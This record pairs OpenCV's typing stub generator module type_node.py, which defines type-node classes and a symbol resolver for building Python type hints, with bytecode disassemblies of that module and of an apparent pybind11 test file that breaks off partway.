__doc__ LOAD_NAME TypeNode LOAD_CONST None LOAD_CONST ('value', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab703fa150, file "f.py", line 916> LOAD_CONST 'ClassTypeNode.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object type_format at 0x7fab703fa1e0, file "f.py", line 919> LOAD_CONST 'ClassTypeNode.type_format' MAKE_FUNCTION CALL_FUNCTION STORE_NAME type_format LOAD_NAME property LOAD_NAME str LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object types_separator at 0x7fab703fa270, file "f.py", line 923> LOAD_CONST 'ClassTypeNode.types_separator' MAKE_FUNCTION CALL_FUNCTION STORE_NAME types_separator LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ LOAD_FAST value LOAD_ATTR ctype_name LOAD_FAST value BUILD_TUPLE CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST '_typing.Type[{}]' RETURN_VALUE LOAD_CONST ', ' RETURN_VALUE LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_GLOBAL str LOAD_GLOBAL Optional LOAD_GLOBAL ASTNode BINARY_SUBSCR LOAD_CONST ('scope', 'scope_sep', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE full_symbol_name BUILD_TUPLE LOAD_CONST <code object search_down_symbol at 0x7fab703fa540, file "f.py", line 963> LOAD_CONST '_resolve_symbol.<locals>.search_down_symbol' MAKE_FUNCTION STORE_FAST search_down_symbol LOAD_DEREF root LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST "Can't resolve symbol '{}' from NONE root" LOAD_METHOD format LOAD_DEREF full_symbol_name CALL_METHOD CALL_FUNCTION RAISE_VARARGS SETUP_LOOP to 114 LOAD_GLOBAL filter LOAD_CLOSURE root BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab703fa5d0, file "f.py", line 981> LOAD_CONST '_resolve_symbol.<locals>.<lambda>' MAKE_FUNCTION LOAD_CONST ('namespaces', 'classes', 'enumerations') CALL_FUNCTION GET_ITER FOR_ITER to 112 STORE_FAST attr LOAD_GLOBAL getattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION STORE_FAST nodes_dict LOAD_FAST nodes_dict LOAD_METHOD get LOAD_DEREF full_symbol_name LOAD_CONST None CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 150 LOAD_CONST ('_', '.') GET_ITER FOR_ITER to 148 STORE_FAST scope_sep LOAD_FAST search_down_symbol LOAD_DEREF root LOAD_FAST scope_sep CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_DEREF full_symbol_name LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts SETUP_LOOP to 102 LOAD_GLOBAL len LOAD_FAST parts CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST scope LOAD_FAST scope LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _resolve_symbol LOAD_FAST scope LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node RETURN_VALUE LOAD_FAST parts LOAD_CONST 1 BINARY_SUBSCR LOAD_ATTR split LOAD_FAST scope_sep LOAD_CONST 1 LOAD_CONST ('maxsplit',) CALL_FUNCTION STORE_FAST parts JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL hasattr LOAD_DEREF root LOAD_FAST attr CALL_FUNCTION RETURN_VALUE
from typing import Sequence, Generator, Tuple, Optional, Union import weakref import abc from .node import ASTNode, ASTNodeType class TypeResolutionError(Exception): pass class TypeNode(abc.ABC): """This class and its derivatives used for construction parts of AST that otherwise can't be constructed from the information provided by header parser, because this information is either not available at that moment of time or not available at all: - There is no possible way to derive correspondence between C++ type and its Python equivalent if it is not exposed from library e.g. `cv::Rect`. - There is no information about types visibility (see `ASTNodeTypeNode`). """ compatible_to_runtime_usage = False """Class-wide property that switches exported type names for several nodes. Example: >>> node = OptionalTypeNode(ASTNodeTypeNode("Size")) >>> node.typename # TypeNode.compatible_to_runtime_usage == False "Size | None" >>> TypeNode.compatible_to_runtime_usage = True >>> node.typename "typing.Optional[Size]" """ def __init__(self, ctype_name: str) -> None: self.ctype_name = ctype_name @abc.abstractproperty def typename(self) -> str: """Short name of the type node used that should be used in the same module (or a file) where type is defined. Returns: str: short name of the type node. """ pass @property def full_typename(self) -> str: """Full name of the type node including full module name starting from the package. Example: 'cv2.Algorithm', 'cv2.gapi.ie.PyParams'. Returns: str: full name of the type node. """ return self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node definition (especially used by `AliasTypeNode`). Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_definition_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def required_usage_imports(self) -> Generator[str, None, None]: """Generator filled with import statements required for type node usage. Example: ```python Callback = typing.Callable[[cv2.GMat, float], None] callback_alias = AliasTypeNode.callable_( 'Callback', arg_types=(ASTNodeTypeNode('GMat'), PrimitiveTypeNode.float_()) ) for required_import in callback_alias.required_usage_imports: print(required_import) ``` Yields: Generator[str, None, None]: generator filled with import statements required for type node definition. """ yield from () @property def is_resolved(self) -> bool: return True def relative_typename(self, module_full_export_name: str) -> str: """Type name relative to the provided module. Args: module_full_export_name (str): Full export name of the module to get relative name to. Returns: str: If module name of the type node doesn't match `module`, then returns class scopes + `self.typename`, otherwise `self.full_typename`. """ return self.full_typename def resolve(self, root: ASTNode) -> None: """Resolves all references to AST nodes using a top-down search for nodes with corresponding export names. See `_resolve_symbol` for more details. Args: root (ASTNode): Node pointing to the root of a subtree in AST representing search scope of the symbol. Most of the symbols don't have full paths in their names, so scopes should be examined in bottom-up manner starting with narrowest one. Raises: TypeResolutionError: if at least 1 reference to AST node can't be resolved in the subtree pointed by the root. """ pass class NoneTypeNode(TypeNode): """Type node representing a None (or `void` in C++) type.""" @property def typename(self) -> str: return "None" class AnyTypeNode(TypeNode): """Type node representing any type (most of the time it means unknown).""" @property def typename(self) -> str: return "_typing.Any" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" class PrimitiveTypeNode(TypeNode): """Type node representing a primitive built-in types e.g. int, float, str.""" def __init__(self, ctype_name: str, typename: Optional[str] = None) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name @property def typename(self) -> str: return self._typename @classmethod def int_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "int" return PrimitiveTypeNode(ctype_name, typename="int") @classmethod def float_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "float" return PrimitiveTypeNode(ctype_name, typename="float") @classmethod def bool_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "bool" return PrimitiveTypeNode(ctype_name, typename="bool") @classmethod def str_(cls, ctype_name: Optional[str] = None): if ctype_name is None: ctype_name = "string" return PrimitiveTypeNode(ctype_name, "str") class AliasRefTypeNode(TypeNode): """Type node representing an alias referencing another alias. Example: ```python Point2i = tuple[int, int] Point = Point2i ``` During typing stubs generation procedure above code section might be defined as follows ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) AliasTypeNode.ref_("Point", "Point2i") ``` """ def __init__(self, alias_ctype_name: str, alias_export_name: Optional[str] = None): super().__init__(alias_ctype_name) if alias_export_name is None: self.alias_export_name = alias_ctype_name else: self.alias_export_name = alias_export_name @property def typename(self) -> str: return self.alias_export_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename class AliasTypeNode(TypeNode): """Type node representing an alias to another type. Example: ```python Point2i = tuple[int, int] ``` can be defined as ```python AliasTypeNode.tuple_("Point2i", items=( PrimitiveTypeNode.int_(), PrimitiveTypeNode.int_() )) ``` Under the hood it is implemented as a container of another type node. """ def __init__( self, ctype_name: str, value: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ) -> None: super().__init__(ctype_name) self.value = value self._export_name = export_name self.doc = doc @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: return self.value.required_usage_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return self.value.is_resolved def resolve(self, root: ASTNode): try: self.value.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def int_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.int_(), export_name, doc) @classmethod def float_( cls, ctype_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, PrimitiveTypeNode.float_(), export_name, doc) @classmethod def array_ref_( cls, ctype_name: str, array_ref_name: str, shape: Optional[Tuple[int, ...]], dtype: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): """Create alias to array reference alias `array_ref_name`. This is required to preserve backward compatibility with Python < 3.9 and NumPy 1.20, when NumPy module introduces generics support. Args: ctype_name (str): Name of the alias. array_ref_name (str): Name of the conditional array alias. shape (Optional[Tuple[int, ...]]): Array shape. dtype (Optional[str], optional): Array type. Defaults to None. export_name (Optional[str], optional): Alias export name. Defaults to None. doc (Optional[str], optional): Documentation string for alias. Defaults to None. """ if doc is None: doc = f"NDArray(shape={shape}, dtype={dtype})" else: doc += f". NDArray(shape={shape}, dtype={dtype})" return cls(ctype_name, AliasRefTypeNode(array_ref_name), export_name, doc) @classmethod def union_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, UnionTypeNode(ctype_name, items), export_name, doc) @classmethod def optional_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, OptionalTypeNode(item), export_name, doc) @classmethod def sequence_( cls, ctype_name: str, item: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, SequenceTypeNode(ctype_name, item), export_name, doc) @classmethod def tuple_( cls, ctype_name: str, items: Tuple[TypeNode, ...], export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, TupleTypeNode(ctype_name, items), export_name, doc) @classmethod def class_( cls, ctype_name: str, class_name: str, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls(ctype_name, ASTNodeTypeNode(class_name), export_name, doc) @classmethod def callable_( cls, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, CallableTypeNode(ctype_name, arg_types, ret_type), export_name, doc, ) @classmethod def ref_( cls, ctype_name: str, alias_ctype_name: str, alias_export_name: Optional[str] = None, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, AliasRefTypeNode(alias_ctype_name, alias_export_name), export_name, doc, ) @classmethod def dict_( cls, ctype_name: str, key_type: TypeNode, value_type: TypeNode, export_name: Optional[str] = None, doc: Optional[str] = None, ): return cls( ctype_name, DictTypeNode(ctype_name, key_type, value_type), export_name, doc ) class ConditionalAliasTypeNode(TypeNode): """Type node representing an alias protected by condition checked in runtime. For typing-related conditions, prefer using typing.TYPE_CHECKING. For a full explanation, see: https://github.com/opencv/opencv/pull/23927#discussion_r1256326835 Example: ```python if typing.TYPE_CHECKING NumPyArray = numpy.ndarray[typing.Any, numpy.dtype[numpy.generic]] else: NumPyArray = numpy.ndarray ``` is defined as follows: ```python ConditionalAliasTypeNode( "NumPyArray", 'typing.TYPE_CHECKING', NDArrayTypeNode("NumPyArray"), NDArrayTypeNode("NumPyArray", use_numpy_generics=False), condition_required_imports=("import typing",) ) ``` """ def __init__( self, ctype_name: str, condition: str, positive_branch_type: TypeNode, negative_branch_type: TypeNode, export_name: Optional[str] = None, condition_required_imports: Sequence[str] = (), ) -> None: super().__init__(ctype_name) self.condition = condition self.positive_branch_type = positive_branch_type self.positive_branch_type.ctype_name = self.ctype_name self.negative_branch_type = negative_branch_type self.negative_branch_type.ctype_name = self.ctype_name self._export_name = export_name self._condition_required_imports = condition_required_imports @property def typename(self) -> str: if self._export_name is not None: return self._export_name return self.ctype_name @property def full_typename(self) -> str: return "cv2.typing." + self.typename @property def required_definition_imports(self) -> Generator[str, None, None]: yield from self.positive_branch_type.required_usage_imports yield from self.negative_branch_type.required_usage_imports yield from self._condition_required_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import cv2.typing" @property def is_resolved(self) -> bool: return ( self.positive_branch_type.is_resolved and self.negative_branch_type.is_resolved ) def resolve(self, root: ASTNode): try: self.positive_branch_type.resolve(root) self.negative_branch_type.resolve(root) except TypeResolutionError as e: raise TypeResolutionError( 'Failed to resolve alias "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) from e @classmethod def numpy_array_( cls, ctype_name: str, export_name: Optional[str] = None, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, ): """Type subscription is not possible in python 3.8 and older numpy versions.""" return cls( ctype_name, "_typing.TYPE_CHECKING", NDArrayTypeNode(ctype_name, shape, dtype), NDArrayTypeNode(ctype_name, shape, dtype, use_numpy_generics=False), condition_required_imports=("import typing as _typing",), ) class NDArrayTypeNode(TypeNode): """Type node representing NumPy ndarray.""" def __init__( self, ctype_name: str, shape: Optional[Tuple[int, ...]] = None, dtype: Optional[str] = None, use_numpy_generics: bool = True, ) -> None: super().__init__(ctype_name) self.shape = shape self.dtype = dtype self._use_numpy_generics = use_numpy_generics @property def typename(self) -> str: if self._use_numpy_generics: dtype = self.dtype if self.dtype is not None else "numpy.generic" return f"numpy.ndarray[_typing.Any, numpy.dtype[{dtype}]]" return "numpy.ndarray" @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import numpy" yield "import typing as _typing" class ASTNodeTypeNode(TypeNode): """Type node representing a lazy ASTNode corresponding to type of function argument or its return type or type of class property. Introduced laziness nature resolves the types visibility issue - all types should be known during function declaration to select an appropriate node from the AST. Such knowledge leads to evaluation of all preprocessor directives (`#include` particularly) for each processed header and might be too expensive and error prone. """ def __init__( self, ctype_name: str, typename: Optional[str] = None, module_name: Optional[str] = None, ) -> None: super().__init__(ctype_name) self._typename = typename if typename is not None else ctype_name self._module_name = module_name self._ast_node: Optional[weakref.ProxyType[ASTNode]] = None @property def ast_node(self): return self._ast_node @property def typename(self) -> str: if self._ast_node is None: return self._typename typename = self._ast_node.export_name if self._ast_node.node_type is not ASTNodeType.Enumeration: return typename parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return typename @property def full_typename(self) -> str: if self._ast_node is not None: if self._ast_node.node_type is not ASTNodeType.Enumeration: return self._ast_node.full_export_name typename = self._ast_node.export_name parent = self._ast_node.parent while parent.node_type is ASTNodeType.Class: typename = parent.export_name + "_" + typename parent = parent.parent return parent.full_export_name + "." + typename if self._module_name is not None: return self._module_name + "." + self._typename return self._typename @property def required_usage_imports(self) -> Generator[str, None, None]: if self._module_name is None: assert ( self._ast_node is not None ), "Can't find a module for class '{}' exported as '{}'".format( self.ctype_name, self.typename, ) module = self._ast_node.parent while module.node_type is not ASTNodeType.Namespace: module = module.parent yield "import " + module.full_export_name else: yield "import " + self._module_name @property def is_resolved(self) -> bool: return self._ast_node is not None or self._module_name is not None def resolve(self, root: ASTNode): if self.is_resolved: return node = _resolve_symbol(root, self.typename) if node is None: raise TypeResolutionError( 'Failed to resolve "{}" exposed as "{}"'.format( self.ctype_name, self.typename ) ) self._ast_node = weakref.proxy(node) def relative_typename(self, module: str) -> str: assert ( self._ast_node is not None or self._module_name is not None ), "'{}' exported as '{}' is not resolved yet".format( self.ctype_name, self.typename ) if self._module_name is None: type_module = self._ast_node.parent # type: ignore while type_module.node_type is not ASTNodeType.Namespace: type_module = type_module.parent module_name = type_module.full_export_name else: module_name = self._module_name if module_name != module: return self.full_typename return self.full_typename[len(module_name) + 1 :] class AggregatedTypeNode(TypeNode): """Base type node for type nodes representing an aggregation of another type nodes e.g. tuple, sequence or callable.""" def __init__(self, ctype_name: str, items: Sequence[TypeNode]) -> None: super().__init__(ctype_name) self.items = list(items) @property def is_resolved(self) -> bool: return all(item.is_resolved for item in self.items) def resolve(self, root: ASTNode) -> None: errors = [] for item in filter(lambda item: not item.is_resolved, self): try: item.resolve(root) except TypeResolutionError as e: errors.append(str(e)) if len(errors) > 0: raise TypeResolutionError( 'Failed to resolve one of "{}" items. Errors: {}'.format( self.full_typename, errors ) ) def __iter__(self): return iter(self.items) def __len__(self) -> int: return len(self.items) @property def required_definition_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: for item in self: yield from item.required_usage_imports class ContainerTypeNode(AggregatedTypeNode): """Base type node for all type nodes representing a container type.""" @property def typename(self) -> str: return self.type_format.format( self.types_separator.join(item.typename for item in self) ) @property def full_typename(self) -> str: return self.type_format.format( self.types_separator.join(item.full_typename for item in self) ) def relative_typename(self, module: str) -> str: return self.type_format.format( self.types_separator.join(item.relative_typename(module) for item in self) ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: if TypeNode.compatible_to_runtime_usage: yield "import typing as _typing" yield from super().required_usage_imports @abc.abstractproperty def type_format(self) -> str: pass @abc.abstractproperty def types_separator(self) -> str: pass class SequenceTypeNode(ContainerTypeNode): """Type node representing a homogeneous collection of elements with possible unknown length. """ def __init__(self, ctype_name: str, item: TypeNode) -> None: super().__init__(ctype_name, (item,)) @property def type_format(self) -> str: return "_typing.Sequence[{}]" @property def types_separator(self) -> str: return ", " class TupleTypeNode(ContainerTypeNode): """Type node representing possibly heterogeneous collection of types with possibly unspecified length. """ @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Tuple[{}]" return "tuple[{}]" @property def types_separator(self) -> str: return ", " class UnionTypeNode(ContainerTypeNode): """Type node representing type that can be one of the predefined set of types.""" @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Union[{}]" return "{}" @property def types_separator(self) -> str: if TypeNode.compatible_to_runtime_usage: return ", " return " | " class OptionalTypeNode(ContainerTypeNode): """Type node representing optional type which is effectively is a union of value type node and None. """ def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Optional[{}]" return "{} | None" @property def types_separator(self) -> str: return ", " class DictTypeNode(ContainerTypeNode): """Type node representing a homogeneous key-value mapping.""" def __init__( self, ctype_name: str, key_type: TypeNode, value_type: TypeNode ) -> None: super().__init__(ctype_name, (key_type, value_type)) @property def key_type(self) -> TypeNode: return self.items[0] @property def value_type(self) -> TypeNode: return self.items[1] @property def type_format(self) -> str: if TypeNode.compatible_to_runtime_usage: return "_typing.Dict[{}]" return "dict[{}]" @property def types_separator(self) -> str: return ", " class CallableTypeNode(AggregatedTypeNode): """Type node representing a callable type (most probably a function). ```python CallableTypeNode( 'image_reading_callback', arg_types=(ASTNodeTypeNode('Image'), PrimitiveTypeNode.float_()) ) ``` defines a callable type node representing a function with the same interface as the following ```python def image_reading_callback(image: Image, timestamp: float) -> None: ... ``` """ def __init__( self, ctype_name: str, arg_types: Union[TypeNode, Sequence[TypeNode]], ret_type: TypeNode = NoneTypeNode("void"), ) -> None: if isinstance(arg_types, TypeNode): super().__init__(ctype_name, (arg_types, ret_type)) else: super().__init__(ctype_name, (*arg_types, ret_type)) @property def arg_types(self) -> Sequence[TypeNode]: return self.items[:-1] @property def ret_type(self) -> TypeNode: return self.items[-1] @property def typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.typename for arg in self.arg_types), self.ret_type.typename ) @property def full_typename(self) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.full_typename for arg in self.arg_types), self.ret_type.full_typename, ) def relative_typename(self, module: str) -> str: return "_typing.Callable[[{}], {}]".format( ", ".join(arg.relative_typename(module) for arg in self.arg_types), self.ret_type.relative_typename(module), ) @property def required_definition_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_definition_imports @property def required_usage_imports(self) -> Generator[str, None, None]: yield "import typing as _typing" yield from super().required_usage_imports class ClassTypeNode(ContainerTypeNode): """Type node representing types themselves (refer to typing.Type)""" def __init__(self, value: TypeNode) -> None: super().__init__(value.ctype_name, (value,)) @property def type_format(self) -> str: return "_typing.Type[{}]" @property def types_separator(self) -> str: return ", " def _resolve_symbol( root: Optional[ASTNode], full_symbol_name: str ) -> Optional[ASTNode]: """Searches for a symbol with the given full export name in the AST starting from the `root`. Args: root (Optional[ASTNode]): Root of the examining AST. full_symbol_name (str): Full export name of the symbol to find. Path components can be divided by '.' or '_'. Returns: Optional[ASTNode]: ASTNode with full export name equal to `full_symbol_name`, None otherwise. >>> root = NamespaceNode('cv') >>> cls = root.add_class('Algorithm').add_class('Params') >>> _resolve_symbol(root, 'cv.Algorithm.Params') == cls True >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'cv_detail_AlgorithmType') == enum True >>> root = NamespaceNode('cv') >>> _resolve_symbol(root, 'cv.detail.Algorithm') None >>> root = NamespaceNode('cv') >>> enum = root.add_namespace('detail').add_enumeration('AlgorithmType') >>> _resolve_symbol(root, 'AlgorithmType') None """ def search_down_symbol( scope: Optional[ASTNode], scope_sep: str ) -> Optional[ASTNode]: parts = full_symbol_name.split(scope_sep, maxsplit=1) while len(parts) == 2: scope = _resolve_symbol(scope, parts[0]) if scope is None: return None node = _resolve_symbol(scope, parts[1]) if node is not None: return node parts = parts[1].split(scope_sep, maxsplit=1) return None assert root is not None, "Can't resolve symbol '{}' from NONE root".format( full_symbol_name ) for attr in filter( lambda attr: hasattr(root, attr), ("namespaces", "classes", "enumerations") ): nodes_dict = getattr(root, attr) node = nodes_dict.get(full_symbol_name, None) if node is not None: return node for scope_sep in ("_", "."): node = search_down_symbol(root, scope_sep) if node is not None: return node return None
data/opencv-contrib-python-headless-4.9.0.80/opencv/modules/python/src2/typing_stubs_generation/nodes/type_node.py
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9,016
366,917
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME contextlib STORE_NAME contextlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST None IMPORT_NAME types STORE_NAME types LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME env STORE_NAME env LOAD_CONST 0 LOAD_CONST ('detailed_error_messages_enabled',) IMPORT_NAME pybind11_tests IMPORT_FROM detailed_error_messages_enabled STORE_NAME detailed_error_messages_enabled POP_TOP LOAD_CONST 0 LOAD_CONST ('pytypes',) IMPORT_NAME pybind11_tests IMPORT_FROM pytypes STORE_NAME m POP_TOP LOAD_CONST <code object test_obj_class_name at 0x7fab41499c90, file "f.py", line 12> LOAD_CONST 'test_obj_class_name' MAKE_FUNCTION STORE_NAME test_obj_class_name LOAD_CONST <code object test_handle_from_move_only_type_with_operator_PyObject at 0x7fab41499930, file "f.py", line 18> LOAD_CONST 'test_handle_from_move_only_type_with_operator_PyObject' MAKE_FUNCTION STORE_NAME test_handle_from_move_only_type_with_operator_PyObject LOAD_CONST <code object test_bool at 0x7fab42914930, file "f.py", line 23> LOAD_CONST 'test_bool' MAKE_FUNCTION STORE_NAME test_bool LOAD_CONST <code object test_int at 0x7faac0274ae0, file "f.py", line 27> LOAD_CONST 'test_int' MAKE_FUNCTION STORE_NAME test_int LOAD_CONST <code object test_iterator at 0x7faac02744b0, file "f.py", line 31> LOAD_CONST 'test_iterator' MAKE_FUNCTION STORE_NAME test_iterator LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('pytype', 'from_iter_func') LOAD_NAME frozenset LOAD_NAME m LOAD_ATTR get_frozenset_from_iterable BUILD_TUPLE LOAD_NAME list LOAD_NAME m LOAD_ATTR get_list_from_iterable BUILD_TUPLE LOAD_NAME set LOAD_NAME m LOAD_ATTR get_set_from_iterable BUILD_TUPLE LOAD_NAME tuple LOAD_NAME m LOAD_ATTR get_tuple_from_iterable BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_from_iterable at 0x7faac0274d20, file "f.py", line 35> LOAD_CONST 'test_from_iterable' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_from_iterable LOAD_CONST <code object test_iterable at 0x7faac02746f0, file "f.py", line 51> LOAD_CONST 'test_iterable' MAKE_FUNCTION STORE_NAME test_iterable LOAD_CONST <code object test_float at 0x7faac0274270, file "f.py", line 55> LOAD_CONST 'test_float' MAKE_FUNCTION STORE_NAME test_float LOAD_CONST <code object test_list at 0x7faac0274540, file "f.py", line 59> LOAD_CONST 'test_list' MAKE_FUNCTION STORE_NAME test_list LOAD_CONST <code object test_none at 0x7faac0274c00, file "f.py", line 90> LOAD_CONST 'test_none' MAKE_FUNCTION STORE_NAME test_none LOAD_CONST <code object test_set at 0x7faac0274db0, file "f.py", line 95> LOAD_CONST 'test_set' MAKE_FUNCTION STORE_NAME test_set LOAD_CONST <code object test_frozenset at 0x7faac02740c0, file "f.py", line 127> LOAD_CONST 'test_frozenset' MAKE_FUNCTION STORE_NAME test_frozenset LOAD_CONST <code object test_dict at 0x7faac0274f60, file "f.py", line 152> LOAD_CONST 'test_dict' MAKE_FUNCTION STORE_NAME test_dict LOAD_BUILD_CLASS LOAD_CONST <code object CustomContains at 0x7faac0274030, file "f.py", line 177> LOAD_CONST 'CustomContains' MAKE_FUNCTION LOAD_CONST 'CustomContains' CALL_FUNCTION STORE_NAME CustomContains LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST ('arg', 'func') LOAD_NAME set CALL_FUNCTION LOAD_NAME m LOAD_ATTR anyset_contains BUILD_TUPLE BUILD_MAP LOAD_NAME m LOAD_ATTR dict_contains BUILD_TUPLE LOAD_NAME CustomContains CALL_FUNCTION LOAD_NAME m LOAD_ATTR obj_contains BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR xfail LOAD_CONST 'env.PYPY and sys.pypy_version_info < (7, 3, 10)' LOAD_CONST False LOAD_CONST ('strict',) CALL_FUNCTION LOAD_CONST <code object test_unhashable_exceptions at 0x7faac0274390, file "f.py", line 184> LOAD_CONST 'test_unhashable_exceptions' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_unhashable_exceptions LOAD_CONST <code object test_tuple at 0x7faac0274e40, file "f.py", line 202> LOAD_CONST 'test_tuple' MAKE_FUNCTION STORE_NAME test_tuple LOAD_CONST <code object test_simple_namespace at 0x7faa75c44390, file "f.py", line 209> LOAD_CONST 'test_simple_namespace' MAKE_FUNCTION STORE_NAME test_simple_namespace LOAD_CONST <code object test_str at 0x7faa75c44930, file "f.py", line 217> LOAD_CONST 'test_str' MAKE_FUNCTION STORE_NAME test_str LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'func' LOAD_NAME m LOAD_ATTR str_from_bytes_input LOAD_NAME m LOAD_ATTR str_from_cstr_input LOAD_NAME m LOAD_ATTR str_from_std_string_input BUILD_LIST CALL_METHOD LOAD_CONST <code object test_surrogate_pairs_unicode_error at 0x7faa75c44ae0, file "f.py", line 253> LOAD_CONST 'test_surrogate_pairs_unicode_error' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_surrogate_pairs_unicode_error LOAD_CONST <code object test_bytes at 0x7faa75c44300, file "f.py", line 267> LOAD_CONST 'test_bytes' MAKE_FUNCTION STORE_NAME test_bytes LOAD_CONST <code object test_bytearray at 0x7faa75c445d0, file "f.py", line 276> LOAD_CONST 'test_bytearray' MAKE_FUNCTION STORE_NAME test_bytearray LOAD_CONST <code object test_capsule at 0x7faa75c44a50, file "f.py", line 283> LOAD_CONST 'test_capsule' MAKE_FUNCTION STORE_NAME test_capsule LOAD_CONST <code object test_accessors at 0x7faa75c44780, file "f.py", line 372> LOAD_CONST 'test_accessors' MAKE_FUNCTION STORE_NAME test_accessors LOAD_CONST <code object test_accessor_moves 